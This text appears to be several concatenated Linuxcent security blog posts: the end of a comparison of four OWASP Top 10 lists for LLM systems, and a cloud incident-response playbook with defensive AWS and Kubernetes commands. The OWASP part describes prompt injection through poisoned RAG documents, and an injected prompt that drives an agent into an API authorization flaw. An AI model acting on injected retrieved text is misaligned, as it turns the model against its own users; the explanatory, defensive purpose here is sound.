Why it matters for LLM systems: Your LLM is almost certainly accessed via an API — either a first-party API you built or a third-party API (OpenAI, Anthropic, Bedrock) you call. The API Security list covers that integration layer. An attacker who exploits BOLA against your API doesn’t need to understand prompt injection — they just need to change a user ID in the request.

The Cloud-Native App Security Top 10: The Infrastructure Layer

Containers, Kubernetes, microservices, and cloud-managed services introduced an orchestration layer that neither the web app list nor the API list covered.

Scope: Insecure workload configurations, insufficient network segmentation between microservices, vulnerable or unverified container images, over-permissioned service accounts, exposed cluster management interfaces.

What it does not address: What runs inside the container. If that container runs an LLM, the model’s behavior — prompt injection, system prompt leakage, RAG poisoning — is outside the cloud-native list’s scope.

Why it matters for LLM systems: LLM inference runs on infrastructure. If the pod running your model inference has an over-permissioned service account, an attacker who exploits the model doesn’t need to do anything sophisticated — they can use the pod’s IAM permissions to move laterally. The LLM is the initial access vector; the cloud-native misconfig is the blast radius.

For depth on cloud-native OWASP mapping, see OWASP Top 10 mapped to cloud infrastructure in the Purple Team series. This episode covers the concept; that series covers the attack paths.

The LLM Applications Top 10 (2025): The Model Layer

The attack surface that exists because of the model — not at the web layer, not at the API layer, not at the infrastructure layer, but in the probabilistic behavior of the language model itself and the systems it connects to.

The 10 categories:

What this list does not cover: The API through which you call the model (that’s the API Security list). The Kubernetes workload running the inference server (that’s the cloud-native list). The web UI that wraps the chatbot (that’s the web app list). The LLM Top 10 is specifically the model-layer attack surface.

Injection Across All Four Lists: A Comparison

“Injection” appears in all four lists. The word is the same. The attack is completely different.

The web app defense (parameterized queries) works because you can structurally separate data from code. SQL parsers don’t execute string literals as SQL commands. The LLM defense is fundamentally different because the model has no structural boundary between “user data” and “instruction.” Natural language IS the programming language. This is why LLM01 remains the most exploited category and the most difficult to remediate — not because engineers aren’t trying, but because the separation that makes SQL injection solvable doesn’t exist in natural language processing.

Architecture Coverage Map: RAG Chatbot on Kubernetes

Take a concrete system: a customer-facing RAG chatbot deployed on Kubernetes, calling an external LLM API, indexing internal documents in a vector database, with a React frontend and a FastAPI backend.

ATTACK SURFACE MAP

React Frontend            ← Web App Top 10
  └─ XSS, CSRF, clickjacking
  └─ Broken auth (session management)

FastAPI Backend (REST)    ← API Security Top 10
  └─ BOLA: can user A retrieve user B's documents?
  └─ Excessive data exposure in API responses
  └─ Rate limiting on LLM API calls

Kubernetes Cluster        ← Cloud-Native Top 10
  └─ Service account permissions on vector DB pod
  └─ Container image vulnerabilities
  └─ Network policy: can inference pod call anything?

LLM Component             ← LLM Applications Top 10
  └─ Prompt injection via user input (LLM01)
  └─ System prompt leakage (LLM07)
  └─ Vector DB poisoning via document upload (LLM08)
  └─ Agent over-permission on retrieval tools (LLM06)
  └─ Sensitive data in indexed documents leaks (LLM02)

GAPS (attack paths that cross list boundaries):
  Injected prompt → agent calls API endpoint → BOLA
  Compromised K8s service account → access vector DB → LLM08
  XSS on frontend → steal session → BOLA on document retrieval

The most dangerous attack paths cross list boundaries. An attacker who injects a prompt (LLM01) that causes an agent to call an API endpoint (API Security Top 10) that has a BOLA vulnerability is exploiting two separate OWASP lists in a single attack chain. Security reviews that only audit against one list miss these compound paths.

Production Gotchas

Auditing against one list and calling it done
Security teams often run DAST against the web layer and consider the application “OWASP covered.” If the application includes an LLM component, a vector database, and a Kubernetes deployment, the DAST scan covered at most 25% of the attack surface. Multi-list auditing is not a luxury — it’s the correct scope.

Assuming the LLM provider handles LLM security
OpenAI, Anthropic, AWS Bedrock — these providers harden their infrastructure. They do not control how you construct prompts, what you put in your system prompt, how you scope your agent’s tool access, or what you index in your vector store. LLM01 through LLM10 are almost entirely in your application’s scope, not the provider’s.

Treating RAG retrieval as a read-only, safe operation
Retrieval augmented generation adds a retrieval step that fetches content from a vector database to augment the model’s context. That retrieved content is trusted by the model — it treats it as authoritative context, not as potentially hostile user input. If an attacker can control what gets indexed (document upload, web crawl), they can inject instructions into retrieved content that the model will execute. This is LLM08 (Vector/Embedding Weaknesses) combined with LLM01 (indirect prompt injection). It is one of the most exploited compound paths in production LLM systems today.

Quick Reference: Four-List Matrix

Framework Alignment

Key Takeaways

• Four OWASP lists exist in 2025; which one applies depends on which component of your architecture you are assessing — most production LLM systems are in scope for all four
• The word “injection” appears in all four lists; the technique and the defense are completely different in each
• RAG-based applications are particularly exposed to compound attack paths that cross list boundaries — a single exploit chain can touch LLM01, LLM08, and API BOLA in sequence
• Security reviews scoped to one OWASP list on a multi-layer system leave architectural gaps; the attack paths that matter often run between the lists
• LLM providers handle model infrastructure security; your application’s scope includes everything from how you construct prompts to what you put in the vector store

What’s Next

The next episode is the bridge. Four lists exist, but the LLM list is not just “web app security applied to models.” The three classic OWASP assumptions — deterministic behavior, parseable input, enumerable permissions — break down entirely when the application is a language model. Understanding why changes how you approach everything in Parts II and III.

Why Classic OWASP Breaks Down for LLMs: The New Attack Surface →

Get EP03 in your inbox when it publishes → subscribe

The post The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared appeared first on Linuxcent.

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply chain attack detection → Cloud lateral movement IAM → Detection engineering with eBPF → Cloud Incident Response Playbook

TL;DR

• A cloud incident response playbook is not documentation you write after a breach — it is the executable sequence your team runs in the first 24 hours, rehearsed before the breach happens
• The ChangeHealthcare attack (February 2024) disrupted $22 billion in medical claims processing and exposed 190 million Americans’ health data; the initial vector was a single set of stolen credentials and a Citrix portal with no MFA
• Hours 0–1: declare the incident immediately, scope the blast radius, and start querying CloudTrail — do not investigate quietly
• Hours 1–4: contain by revoking credentials and isolating infrastructure, but preserve evidence before any remediation — forensic snapshots and log exports before terminating anything
• Hours 4–12: trace lateral movement via AssumeRole chains, identify persistence mechanisms (new IAM users/roles, Lambda backdoors, modified images), and confirm the full data access scope
• Hours 12–24: eradicate from known-good baselines, not by patching compromised instances; recover dev → staging → prod; trigger regulatory notification timers

OWASP Mapping: Cross-cutting — incident response is not mapped to a single OWASP category because a breach can enter through any of them. IR quality is the backstop when prevention fails across A01 (broken access control), A07 (authentication failures), A08 (supply chain), and every other vector. The 24-hour window covered here applies regardless of initial entry point.

The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│            CLOUD INCIDENT RESPONSE: THE 24-HOUR SEQUENCE                │
│                                                                         │
│  ALERT                                                                  │
│    GuardDuty / Falco / anomaly detection fires                          │
│    ↓                                                                    │
│  TRIAGE  [0–1h]                                                         │
│    Declare incident → scope blast radius → open incident channel        │
│    Is the attacker still active? What data is at risk?                  │
│    ↓                                                                    │
│  CONTAIN  [1–4h]                                                        │
│    Revoke credentials → isolate compute → cordon K8s nodes             │
│    !! Do NOT terminate instances before snapshot !!                     │
│    ↓                                                                    │
│  PRESERVE  [1–4h, parallel with contain]                                │
│    EBS snapshots → CloudTrail log export → VPC Flow export              │
│    Forensic copy before any remediation changes the system state        │
│    ↓                                                                    │
│  INVESTIGATE  [4–12h]                                                   │
│    AssumeRole chain analysis → data access scope → persistence hunt     │
│    eBPF/Falco/Tetragon evidence if available (see EP11)                 │
│    ↓                                                                    │
│  ERADICATE  [12–24h]                                                    │
│    Remove persistence → rotate ALL credentials in blast radius          │
│    Replace compromised instances from known-good hardened AMI           │
│    ↓                                                                    │
│  RECOVER  [12–24h]                                                      │
│    dev → staging → prod sequence. Never prod-first.                     │
│    Verify monitoring before declaring all-clear                         │
│    ↓                                                                    │
│  LEARN                                                                  │
│    Post-incident review → timeline → regulatory notifications           │
│    Update playbook before the next incident                             │
└─────────────────────────────────────────────────────────────────────────┘

A cloud incident response playbook that exists only as a document is not an incident response capability. The sequence above is only useful if your team has rehearsed it — run it as a tabletop, run it in a chaos exercise, run it on a simulated breach in a non-prod account. The first time through this sequence should not be during an actual breach.

The Incident: ChangeHealthcare (February 2024)

On February 21, 2024, ransomware attacked Change Healthcare, a UnitedHealth Group subsidiary that processes roughly 50% of US medical claims. By the time containment completed, the damage was:

• $22 billion in medical claims processing disrupted
• 190 million Americans’ health data potentially exposed
• Hospitals unable to process insurance claims for weeks — some faced payroll crises because they couldn’t get reimbursed for care already delivered
• A $22 million ransom paid to ALPHV/BlackCat, followed by ALPHV exit-scamming the affiliate (keeping the ransom), followed by RansomHub re-extorting with the same data

The initial vector: a Citrix remote access portal with no MFA enforced. A single set of stolen credentials. That’s it.

What made the outcome as severe as it was: the attackers had nine days of dwell time before the ransomware detonated. Nine days of lateral movement, data staging, and backup discovery before the explosion. The first 24 hours after detection determine whether you contain an intrusion or respond to a full-scale breach. The ChangeHealthcare team was responding to a full-scale breach because the first 24 hours happened nine days before anyone knew there was an incident.

There is an inverse relationship between incident response quality and preparation investment. Teams that contain in four hours practiced containing in four hours. Teams that discover they have no forensic evidence discover that during the investigation, not before it.

Hour 0–1: Detect and Declare

Step 1: Declare — Do Not Investigate Quietly

The instinct when something looks suspicious is to investigate before escalating. That instinct is wrong in cloud incidents. Every minute of quiet investigation is a minute the attacker may be escalating privileges, staging data, or discovering your backups.

Declare the incident immediately. The threshold for declaration is suspicion, not confirmation.

Who to notify in the first 15 minutes:
– CISO (or on-call security lead)
– Legal counsel (regulatory clock starts now; you need legal involved from minute one)
– On-call SRE lead (you will need infrastructure access)
– Communications lead (if external-facing systems are involved)

Operational setup:
1. Create a dedicated incident Slack channel: #incident-YYYY-MM-DD-brief-descriptor
2. Start an incident log — a shared doc, timestamped, with every action taken and by whom. This becomes your evidence log and your regulatory submission document.
3. Assign a scribe. The incident commander should not also be taking notes.

Step 2: Scope the Blast Radius

Before touching anything, answer three questions:

1. Is the attacker still active? (Is this ongoing or historical?)
2. What is the potential blast radius? (Which accounts, regions, services, principals are in scope?)
3. What data is at risk? (PII, credentials, intellectual property, PHI/PII with regulatory implications?)

Step 3: Initial CloudTrail Query

# Run this before touching anything — you want a clean baseline
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=suspected-role \
  --start-time $(date -d '1 hour ago' --iso-8601=seconds) \
  --query 'Events[*].[EventTime,EventName,Resources[0].ResourceName]' \
  --output table

# If you don't know the principal yet — look for unusual API activity
# across all principals in the last hour
aws cloudtrail lookup-events \
  --start-time $(date -d '1 hour ago' --iso-8601=seconds) \
  --query 'Events[*].{Time:EventTime,User:Username,Event:EventName,Source:EventSource}' \
  --output json | \
  jq 'sort_by(.Time) | reverse | .[:50]'
# Look for: CreateUser, AttachRolePolicy, PutRolePolicy, CreateAccessKey,
#           GetSecretValue, ListBuckets, DescribeInstances in rapid succession

# Check GuardDuty for the triggering finding
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty get-findings \
  --detector-id "${DETECTOR_ID}" \
  --finding-ids $(aws guardduty list-findings \
    --detector-id "${DETECTOR_ID}" \
    --finding-criteria '{
      "Criterion": {
        "updatedAt": {"Gte": '$(date -d '24 hours ago' +%s000)'}
      }
    }' \
    --sort-criteria '{"AttributeName":"updatedAt","OrderBy":"DESC"}' \
    --max-results 10 \
    --query 'FindingIds' --output text) | \
  jq '.Findings[] | {type: .Type, severity: .Severity, time: .UpdatedAt, detail: .Description}'

Hour 1–4: Contain Without Destroying Evidence

The central tension in early containment: you need to stop the bleeding, but you also need the evidence. Terminating a compromised EC2 instance stops the threat on that instance — it also destroys the process table, network connections, in-memory artifacts, and filesystem state that the investigation needs.

The order of operations:
1. Preserve (snapshot, export logs)
2. Contain (revoke credentials, isolate network)
3. Never terminate before step 1

Evidence Preservation (Before Any Containment Action)

# Create EBS snapshots of ALL volumes on compromised instances
# Do this FIRST — before network isolation, before anything
aws ec2 describe-instances \
  --instance-ids i-compromised-instance-id \
  --query 'Reservations[].Instances[].BlockDeviceMappings[].Ebs.VolumeId' \
  --output text | tr '\t' '\n' | \
  while read vol_id; do
    echo "Snapshotting volume: ${vol_id}"
    aws ec2 create-snapshot \
      --volume-id "${vol_id}" \
      --description "IR evidence - $(date --iso-8601) - ${vol_id}" \
      --tag-specifications "ResourceType=snapshot,Tags=[{Key=incident,Value=active},{Key=preserve,Value=legal-hold}]"
  done

# Export CloudTrail logs for the incident window to a local IR evidence directory
# Use a time window that starts 24 hours before the suspected compromise
aws s3 sync \
  s3://your-cloudtrail-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./ir-evidence/cloudtrail/ \
  --exclude "*" \
  --include "*/2024/02/21/*" \
  --include "*/2024/02/22/*"

# Export VPC Flow Logs for the incident window
# These show network connections that CloudTrail doesn't capture
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --start-time $(date -d '24 hours ago' +%s000) \
  --end-time $(date +%s000) \
  --query 'events[*].message' \
  --output text > ./ir-evidence/vpc-flow-logs.txt

Containment Action 1: Revoke the Compromised Credential

# Option A: Disable an IAM user's access key (reversible — preserves key for forensics)
aws iam update-access-key \
  --user-name compromised-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive

# Option B: If the compromised principal is an IAM role —
# attach a deny-all inline policy (fastest, takes effect immediately)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "IncidentDenyAll",
        "Effect": "Deny",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }'

# Option C: If you need to revoke ALL active sessions for a role immediately
# (active STS sessions are not invalidated by the deny policy alone
#  until the session token expires — use this to force immediate revocation)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Deny",
        "Action": "*",
        "Resource": "*",
        "Condition": {
          "DateLessThan": {
            "aws:TokenIssueTime": "'$(date --iso-8601=seconds)'"
          }
        }
      }
    ]
  }'
# This denies all requests where the token was issued before right now
# — effectively invalidating all existing sessions for this role

Containment Action 2: Isolate Affected EC2 Instances

# Create an isolation security group — no ingress, no egress
# except SSH from your IR bastion (for forensic access if needed)
ISOLATION_SG=$(aws ec2 create-security-group \
  --group-name "incident-isolation-$(date +%Y%m%d)" \
  --description "Incident isolation - no network access except IR bastion" \
  --vpc-id vpc-your-vpc-id \
  --query 'GroupId' \
  --output text)

echo "Isolation SG created: ${ISOLATION_SG}"

# Add ingress rule: only from IR bastion (for forensic access)
# Remove this rule entirely if you don't need it
aws ec2 authorize-security-group-ingress \
  --group-id "${ISOLATION_SG}" \
  --protocol tcp \
  --port 22 \
  --cidr YOUR-IR-BASTION-IP/32

# Apply the isolation SG to the compromised instance
# This replaces all existing security groups — the instance is now isolated
aws ec2 modify-instance-attribute \
  --instance-id i-compromised-instance-id \
  --groups "${ISOLATION_SG}"

Important: Do not terminate the instance. The isolated instance remains available for forensic analysis via the IR bastion. Termination destroys volatile evidence. You terminate after the investigation is complete and legal has cleared the evidence for destruction.

Containment Action 3: Kubernetes — Cordon, Don’t Delete

# Cordon the compromised node — prevents new pod scheduling
kubectl cordon node/compromised-node-name

# Label the node for IR tracking
kubectl label node/compromised-node-name incident=active preserve=legal-hold

# If a specific pod is the concern — do NOT kubectl delete pod
# Instead, collect forensic information first
POD_NAME="compromised-pod"
NAMESPACE="production"

# Capture the full pod spec and status
kubectl get pod "${POD_NAME}" -n "${NAMESPACE}" -o json > \
  ./ir-evidence/pod-spec-${POD_NAME}.json

# Capture environment variables (may contain credential evidence)
kubectl exec "${POD_NAME}" -n "${NAMESPACE}" -- env > \
  ./ir-evidence/pod-env-${POD_NAME}.txt 2>/dev/null

# Capture running processes
kubectl exec "${POD_NAME}" -n "${NAMESPACE}" -- ps auxf > \
  ./ir-evidence/pod-processes-${POD_NAME}.txt 2>/dev/null

# Capture network connections
kubectl exec "${POD_NAME}" -n "${NAMESPACE}" -- ss -tunapw > \
  ./ir-evidence/pod-netstat-${POD_NAME}.txt 2>/dev/null

# Now you can delete the pod if needed — you have the evidence

Hour 4–12: Investigate the Blast Radius

Containment stops the active threat. Investigation answers: what did they do, where did they go, and what did they touch?

Trace the Lateral Movement

The most important lateral movement mechanism in AWS is AssumeRole chaining — a compromised principal assumes a role, which has permissions to assume another role, building a privilege escalation path. IAM attack path reconstruction requires following this chain through CloudTrail.

# Find all AssumeRole events from the compromised principal
# This shows every role the attacker assumed after initial compromise
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time "2024-02-21T00:00:00Z" \
  --end-time "2024-02-22T23:59:59Z" \
  --output json | \
  jq '.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    select(.userIdentity.arn | contains("compromised-role")) | 
    {
      time: .eventTime,
      caller: .userIdentity.arn,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }'

# Follow the chain — get ALL roles assumed during the incident window
# regardless of source, then trace connections manually
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time "2024-02-21T00:00:00Z" \
  --end-time "2024-02-22T23:59:59Z" \
  --output json | \
  jq -r '.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    [.eventTime, .userIdentity.arn, .requestParameters.roleArn, .sourceIPAddress] | 
    @tsv' | \
  sort -k1
# Build the graph manually: which ARN called AssumeRole for which target role
# Any role not in your expected deployment automation is suspicious

Find What Data Was Accessed

# S3 GetObject events — shows every object the attacker read
# NOTE: S3 data events are NOT enabled by default in CloudTrail
# If you haven't pre-enabled them, this query returns nothing useful
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \
  --start-time "2024-02-21T00:00:00Z" \
  --end-time "2024-02-22T23:59:59Z" \
  --output json | \
  jq '.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      bucket: .requestParameters.bucketName,
      key: .requestParameters.key,
      source_ip: .sourceIPAddress
    }'

# Secrets Manager — what secrets were accessed?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --start-time "2024-02-21T00:00:00Z" \
  --output json | \
  jq '.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      secret: .requestParameters.secretId,
      source_ip: .sourceIPAddress
    }'

# KMS — what was decrypted?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=Decrypt \
  --start-time "2024-02-21T00:00:00Z" \
  --output json | \
  jq '.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      key_id: .requestParameters.keyId,
      source_ip: .sourceIPAddress
    }'

Hunt for Persistence Mechanisms

Attackers establish persistence before detonating ransomware or before exfiltrating at scale. The most common persistence mechanisms in AWS:

# New IAM users created during the incident window
aws iam list-users \
  --query 'Users[?CreateDate>=`2024-02-21T00:00:00Z`].[UserName,CreateDate,UserId]' \
  --output table

# New IAM roles created during the incident window
aws iam list-roles \
  --query 'Roles[?CreateDate>=`2024-02-21T00:00:00Z`].[RoleName,CreateDate,RoleId]' \
  --output table

# New IAM access keys created for existing users
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time "2024-02-21T00:00:00Z" \
  --output json | \
  jq '.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, user: .requestParameters.userName, by: .userIdentity.arn}'

# Lambda functions with recent code modifications
# (Lambda is a common backdoor target — function code is easy to modify)
aws lambda list-functions \
  --query 'Functions[?LastModified>=`2024-02-21`].[FunctionName,LastModified,Runtime]' \
  --output table

# For any recently modified function — check for unexpected environment variables
aws lambda get-function-configuration \
  --function-name suspicious-function-name \
  --query '{env: Environment.Variables, role: Role, handler: Handler}'

# CloudFormation stacks created or modified during incident window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateStack \
  --start-time "2024-02-21T00:00:00Z" \
  --output json | \
  jq '.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, stack: .requestParameters.stackName, by: .userIdentity.arn}'

# EC2 user-data modifications (backdoor via user data on restart)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ModifyInstanceAttribute \
  --start-time "2024-02-21T00:00:00Z" \
  --output json | \
  jq '.Events[] | (.CloudTrailEvent | fromjson) | select(.requestParameters | has("userData")) | {time: .eventTime, instance: .requestParameters.instanceId, by: .userIdentity.arn}'

eBPF and Falco Evidence (If Available)

If your environment runs Falco or Cilium Tetragon (see detection engineering with eBPF), the kernel-level telemetry from EP11 is now forensic evidence:

# Tetragon: export process execution events for the incident window
# Tetragon writes to /var/log/tetragon/tetragon.log by default
# Filter by the time window and affected pod/node

# On the affected node (or via log aggregation if you ship to a SIEM):
cat /var/log/tetragon/tetragon.log | \
  jq 'select(.time >= "2024-02-21T00:00:00Z" and .time <= "2024-02-22T23:59:59Z") |
    select(.process_exec != null) |
    {
      time: .time,
      pod: .process_exec.process.pod.name,
      ns: .process_exec.process.pod.namespace,
      binary: .process_exec.process.binary,
      args: .process_exec.process.arguments,
      parent: .process_exec.parent.binary
    }' | head -100

# Falco: pull alerts from the incident window out of your SIEM/log store
# If you're running Falco with file output:
grep "2024-02-21\|2024-02-22" /var/log/falco/events.json | \
  jq 'select(.priority == "Critical" or .priority == "Error") |
    {time: .time, rule: .rule, output: .output, pod: .output_fields."k8s.pod.name"}' | \
  head -50

Process lineage from Tetragon (which parent process spawned which child) is often the clearest signal of container escape or lateral movement within a cluster. It shows attack paths that API-layer logging cannot reconstruct.

Hour 12–24: Eradicate and Recover

Remove Persistence

Work through the persistence findings from the investigation phase in order:

# Delete unauthorized IAM users created during the incident
# First: disable their access keys
aws iam list-access-keys --user-name attacker-created-user \
  --query 'AccessKeyMetadata[].AccessKeyId' --output text | \
  tr '\t' '\n' | \
  while read key_id; do
    aws iam update-access-key --user-name attacker-created-user \
      --access-key-id "${key_id}" --status Inactive
  done

# Then: detach all policies, remove from groups, delete login profile, delete user
aws iam detach-user-policy --user-name attacker-created-user \
  --policy-arn arn:aws:iam::123456789012:policy/attached-policy
aws iam delete-user --user-name attacker-created-user

# Rotate ALL credentials that could have been accessed during the incident window
# Not just the initial compromise — every secret in the blast radius

# List all IAM user access keys in the affected account
aws iam list-users --query 'Users[].UserName' --output text | tr '\t' '\n' | \
  while read user; do
    aws iam list-access-keys --user-name "${user}" \
      --query 'AccessKeyMetadata[?Status==`Active`].{User:UserName,Key:AccessKeyId}' \
      --output json
  done | jq -s 'flatten'
# For each key: create new key → update application config → delete old key

# Remove Lambda backdoors — restore from last known-good deployment
# Do NOT patch the modified function — replace the entire deployment package
aws lambda update-function-code \
  --function-name backdoored-function \
  --s3-bucket your-code-bucket \
  --s3-key known-good/function-v1.2.3.zip

# Reset environment variables (remove anything added during incident)
aws lambda update-function-configuration \
  --function-name backdoored-function \
  --environment 'Variables={EXPECTED_VAR=expected_value}'

Replace Compromised Instances From Known-Good Baselines

Do not patch a compromised instance and return it to production. The instance’s integrity is unknown — the attacker may have modified binaries, installed kernel modules, or altered the init system in ways that a filesystem scan won’t catch.

Replace from a known-good hardened image:

# Launch a replacement from a hardened baseline AMI
# If you're running a Stratum-built image pipeline, this is where it pays off:
# you have a signed, hardened, versioned AMI to replace from

aws ec2 run-instances \
  --image-id ami-known-good-hardened-baseline \
  --instance-type t3.medium \
  --subnet-id subnet-your-private-subnet \
  --security-groups sg-your-normal-sg \
  --iam-instance-profile Name=your-instance-profile \
  --tag-specifications \
    'ResourceType=instance,Tags=[{Key=Name,Value=replacement-post-incident},{Key=incident-id,Value=2024-02-21}]' \
  --user-data file://init-script.sh

If you don’t have a hardened AMI pipeline, this incident is the forcing function to build one. Rebuilding from a generic AMI means re-running your full configuration management stack and hoping nothing drifts. Rebuilding from a known-good hardened baseline means launching and verifying.

Recovery Sequence

dev → staging → prod

Not prod first. Not all at once.

Bring dev back up. Verify monitoring and alerting are functional — specifically, verify that the detection that fired during this incident still fires in dev. If you can’t reproduce the detection in dev, you don’t know if it’s working.

Promote to staging. Run your standard smoke tests plus whatever you added to your detection suite based on this incident.

Promote to prod only after staging has been clean for at least four hours.

The Post-Incident Review

Schedule it within 72 hours of resolution. Not a blame session — a timeline reconstruction and process improvement meeting. What to document:

Timeline reconstruction (to the minute):

Key metrics to measure and improve:

• Mean Time to Detect (MTTD): Time between initial compromise and first alert
• Mean Time to Declare (MTTDeclare): Time between first alert and formal incident declaration
• Mean Time to Contain (MTTC): Time between declaration and credential revocation + network isolation
• Blast radius: Accounts, services, data classifications confirmed in scope

Regulatory notification requirements (know these before the incident):

• GDPR: 72 hours from discovery to supervisory authority notification
• HIPAA: 60 days from discovery to individual notification; 60 days to HHS for breaches affecting 500+ individuals
• CCPA: “expedient” notification to individuals; no fixed statutory window for regulator notification but AG guidance suggests 72 hours
• SEC (public companies): 4 business days from determining the incident is “material”
• Check your state breach notification laws — 50 states, 50 different windows

Production Gotchas

Revoking a credential mid-operation breaks running jobs. If the compromised IAM role is used by production services, the deny-all policy will immediately break those services. Have a plan for emergency credential rotation before you act — either a separate role for legitimate services or a maintenance window. The contain-vs-service-availability tradeoff is a real one; make it deliberately, document it in the incident log.

CloudTrail data events are not enabled by default. Management events (API calls like CreateUser, RunInstances, AssumeRole) are enabled. Data events (S3 GetObject, Lambda function invocations, DynamoDB item-level activity) must be explicitly enabled and cost extra. If you discover during an incident that you needed S3 data events and didn’t have them, you cannot reconstruct what data the attacker accessed. Enable them before the incident.

Forensic snapshots cost money. EBS snapshot storage is not free, and snapshotting every volume on every compromised instance adds up. Have a pre-approved IR budget that includes forensic snapshot costs — getting financial approval in the middle of an active incident is a delay you don’t want.

Legal hold means don’t delete anything. Once legal is involved, no evidence can be destroyed without legal clearance. That includes the compromised EC2 instances, the forensic snapshots, the log exports, and the incident Slack channel. Set legal-hold tags on all IR artifacts immediately and don’t clean up until legal explicitly says to.

The attacker may still be in. Containment removes one credential and one network path. If the attacker established multiple persistence mechanisms before you detected them, containment is the beginning of the eradication phase, not the end. Assume they’re still in until the persistence hunt is complete.

Multi-account blast radius compounds quickly. AssumeRole chains can cross account boundaries. A compromised role in account A that can assume a role in account B means the blast radius spans both accounts, and CloudTrail logging in account A does not show what the attacker did after assuming the role in account B. Pull CloudTrail from every account in the blast radius.

Quick Reference: IR Checklist — First 24 Hours

Hour 0–1: Declare and Scope

• [ ] Declare incident — do not investigate quietly
• [ ] Notify: CISO, Legal, on-call SRE lead
• [ ] Create incident Slack channel: #incident-YYYY-MM-DD-descriptor
• [ ] Start timestamped incident log (shared doc, assign scribe)
• [ ] Query CloudTrail: last 1–2 hours of suspected principal activity
• [ ] Check GuardDuty for active findings
• [ ] Answer: active or historical? blast radius? data at risk?

Hour 1–4: Preserve, Then Contain

• [ ] FIRST: Snapshot all volumes on compromised EC2 instances
• [ ] FIRST: Export CloudTrail logs for incident window to IR evidence directory
• [ ] FIRST: Export VPC Flow Logs for incident window
• [ ] Revoke compromised IAM credential (disable key or attach deny-all policy)
• [ ] For role sessions: use DateLessThan condition to invalidate active sessions
• [ ] Apply isolation security group to compromised EC2 instances (do NOT terminate)
• [ ] Cordon compromised Kubernetes nodes (do NOT delete pods before forensic capture)
• [ ] Collect pod forensics: spec, env vars, process list, network connections

Hour 4–12: Investigate

• [ ] Trace AssumeRole chain from compromised principal — build the lateral movement graph
• [ ] Query S3 GetObject, GetSecretValue, Decrypt events for data access scope
• [ ] Hunt persistence: new IAM users/roles, new access keys, Lambda modifications
• [ ] Check EC2 user-data modifications, new CloudFormation stacks
• [ ] Pull Tetragon/Falco evidence if available — process lineage and connection logs
• [ ] Cross-account check: pull CloudTrail from every account reached via AssumeRole

Hour 12–24: Eradicate and Recover

• [ ] Delete all unauthorized IAM users/roles/access keys created during incident
• [ ] Rotate ALL credentials in the blast radius (not just the initial compromise)
• [ ] Remove Lambda backdoors — replace entire deployment package, reset environment
• [ ] Replace compromised instances from known-good hardened AMI (do not patch-in-place)
• [ ] Recover: dev → staging → prod. Verify detection fires in dev before promoting.
• [ ] Declare all-clear only after monitoring shows clean in prod for 4+ hours

Ongoing: Regulatory and Communication

• [ ] Log discovery time — regulatory clocks (GDPR 72h, HIPAA 60d) start at discovery
• [ ] Legal hold on all IR artifacts — do not delete without legal clearance
• [ ] Schedule post-incident review within 72 hours of resolution
• [ ] Update this playbook before the next incident

Key Takeaways

• A cloud incident response playbook only works if it has been rehearsed before the incident — the ChangeHealthcare attack showed that nine days of undetected dwell time transforms a credential theft into a national healthcare disruption
• Preserve before you contain: snapshot volumes and export logs before revoking credentials or isolating instances — forensic evidence destroyed during hasty containment cannot be reconstructed
• The contain-vs-evidence tension is real and deliberate: isolated EC2 instances remain available for forensic access via IR bastion; terminated instances do not
• CloudTrail data events (S3 GetObject, Lambda invocations) are not enabled by default — if you need them during an incident and haven’t pre-enabled them, your data access scope is unknown
• Recovery sequence is dev → staging → prod, and you verify detection fires in dev before promoting — if you can’t reproduce the detection that caught the original incident, you don’t know if it still works

What’s Next

This playbook is reactive. You run it after something goes wrong. EP13 is about making it proactive — running structured attack simulations against your own infrastructure on a regular cadence so the first time your team works through this sequence is not during an actual breach. Continuous purple team testing means your IR team has muscle memory for the playbook, your detection tooling is validated against real attack patterns, and your blast radius assumptions are tested before an attacker tests them for you.

Get EP13 in your inbox when it publishes → subscribe at linuxcent.com

The post Cloud Incident Response Playbook: First 24 Hours After a Breach appeared first on Linuxcent.

Zero to Hero: Cybersecurity Architecture Masterclass, Module 6
← Module 5: The Future of SecOps · Module 6: Continuous Mastery · All Masterclass Modules →

10 min read

TL;DR

